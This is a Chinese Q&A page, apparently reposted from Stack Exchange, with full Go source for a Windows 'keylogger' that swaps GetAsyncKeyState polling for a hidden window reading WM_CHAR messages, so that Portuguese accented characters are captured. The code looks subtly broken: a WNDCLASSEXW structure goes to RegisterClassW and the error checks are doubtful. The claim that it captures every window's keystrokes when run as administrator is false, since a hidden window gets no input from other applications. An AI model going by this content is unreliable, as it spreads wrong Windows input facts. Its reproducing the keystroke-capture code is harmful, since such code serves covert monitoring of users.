You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于Go语言的Windows键盘记录器问题:GetAsyncStateKey循环导致葡萄牙语重音字符无法正常识别

解决Windows键盘记录器中葡萄牙语重音组合键识别问题

问题根源:为什么GetAsyncKeyState搞不定重音组合键

你遇到的核心问题,本质是GetAsyncKeyState的工作模式完全不适合处理需要上下文的组合按键。

葡萄牙语里的重音字符(比如á、é)依赖死键(Dead Key)机制:先按´这类死键,系统会记录这个状态,等你按下对应的字母键时,再自动组合成重音字符。但GetAsyncKeyState是即时查询当前按键的硬件状态,它只会把死键和字母键当成两个独立的按键事件,完全无法让Windows的键盘布局系统完成字符组合的逻辑。

你调大延迟能偶尔成功,只是因为给了系统足够的时间把死键的状态记录下来,刚好在你查询字母键时完成组合——这完全是碰运气,根本不是可靠的解决方案。

正确实现:通过Windows消息队列捕获键盘事件

Windows的键盘事件是通过消息队列分发的,WM_CHAR消息会直接返回系统已经组合好的Unicode字符(包括重音组合后的结果)。我们只需要创建一个隐藏窗口来接收这些消息,就能完美解决重音字符的识别问题。

修改后的Keylogger实现

package keylogger

import (
	"syscall"
	"unicode/utf8"
	"unsafe"

	"github.com/TheTitanrain/w32"
)

var (
	moduser32 = syscall.NewLazyDLL("user32.dll")
	procRegisterClassW   = moduser32.NewProc("RegisterClassW")
	procCreateWindowExW  = moduser32.NewProc("CreateWindowExW")
	procGetMessageW      = moduser32.NewProc("GetMessageW")
	procTranslateMessage = moduser32.NewProc("TranslateMessage")
	procDispatchMessageW = moduser32.NewProc("DispatchMessageW")
	procDefWindowProcW   = moduser32.NewProc("DefWindowProcW")
)

const (
	WM_CHAR = 0x0102
)

// Keylogger 基于Windows消息队列的键盘记录器
type Keylogger struct {
	hwnd    w32.HWND
	done    chan struct{}
	KeyChan chan Key // 用于接收识别后的按键
}

// Key 封装识别到的按键信息
type Key struct {
	Empty bool
	Rune  rune
}

// NewKeylogger 创建新的键盘记录器,返回错误如果初始化失败
func NewKeylogger() (*Keylogger, error) {
	kl := &Keylogger{
		done:    make(chan struct{}),
		KeyChan: make(chan Key),
	}

	// 注册窗口类
	className, _ := syscall.UTF16PtrFromString("KeyloggerHiddenWindow")
	wc := w32.WNDCLASSEXW{
		CbSize:        uint32(unsafe.Sizeof(w32.WNDCLASSEXW{})),
		LpfnWndProc:   syscall.NewCallback(kl.windowProc),
		HInstance:     w32.GetModuleHandle(nil),
		LpszClassName: className,
	}

	if _, _, err := procRegisterClassW.Call(uintptr(unsafe.Pointer(&wc))); err != nil && err.(syscall.Errno) != 0 {
		return nil, err
	}

	// 创建隐藏窗口
	hwnd, _, err := procCreateWindowExW.Call(
		0,
		uintptr(className),
		uintptr(syscall.StringToUTF16Ptr("Keylogger")),
		0,
		0, 0, 0, 0,
		0, 0,
		uintptr(w32.GetModuleHandle(nil)),
		0,
	)
	if hwnd == 0 {
		return nil, err
	}
	kl.hwnd = w32.HWND(hwnd)

	// 启动消息循环
	go kl.messageLoop()

	return kl, nil
}

// messageLoop 处理Windows消息队列
func (kl *Keylogger) messageLoop() {
	var msg w32.MSG
	for {
		select {
		case <-kl.done:
			return
		default:
			ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&msg)), 0, 0, 0)
			if ret == 0 {
				return
			}
			procTranslateMessage.Call(uintptr(unsafe.Pointer(&msg)))
			procDispatchMessageW.Call(uintptr(unsafe.Pointer(&msg)))
		}
	}
}

// windowProc 窗口消息处理函数
func (kl *Keylogger) windowProc(hwnd w32.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr {
	switch msg {
	case WM_CHAR:
		// WM_CHAR直接返回组合后的Unicode字符,包括重音字符
		r := rune(wParam)
		kl.KeyChan <- Key{Empty: false, Rune: r}
	}
	ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam)
	return ret
}

// Stop 停止键盘记录器
func (kl *Keylogger) Stop() {
	close(kl.done)
	w32.DestroyWindow(kl.hwnd)
	close(kl.KeyChan)
}

主程序调用示例

package main

import (
	"fmt"

	"github.com/yourusername/go-keylogger" // 替换成你的实际包路径
)

func main() {
	kl, err := keylogger.NewKeylogger()
	if err != nil {
		fmt.Printf("初始化键盘记录器失败: %v\n", err)
		return
	}
	defer kl.Stop()

	count := 0
	fmt.Println("开始记录按键...")
	for key := range kl.KeyChan {
		if !key.Empty {
			count++
			fmt.Printf("捕获按键: %c | 总按键数: %d\n", key.Rune, count)
		}
	}
}

关键改进说明

  1. 抛弃轮询,改用消息驱动:通过WM_CHAR消息直接获取系统已经处理好的组合字符,完全不用手动处理死键的上下文状态。
  2. 隐藏窗口接收消息:Windows要求必须有窗口才能接收键盘消息,我们创建的是完全不可见的窗口,不会干扰用户操作。
  3. 可靠的字符识别:不管是普通按键还是葡萄牙语的重音组合键,WM_CHAR都会返回正确的Unicode字符,彻底解决之前的识别问题。

额外注意事项

  • 程序需要以管理员权限运行,才能捕获所有窗口的键盘事件。
  • 如果需要获取按键的原始键码,可以在WM_KEYDOWN消息中处理,但WM_CHAR已经完全满足字符统计的需求。

内容的提问来源于stack exchange,提问作者Luciano Tuma

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 23:19:06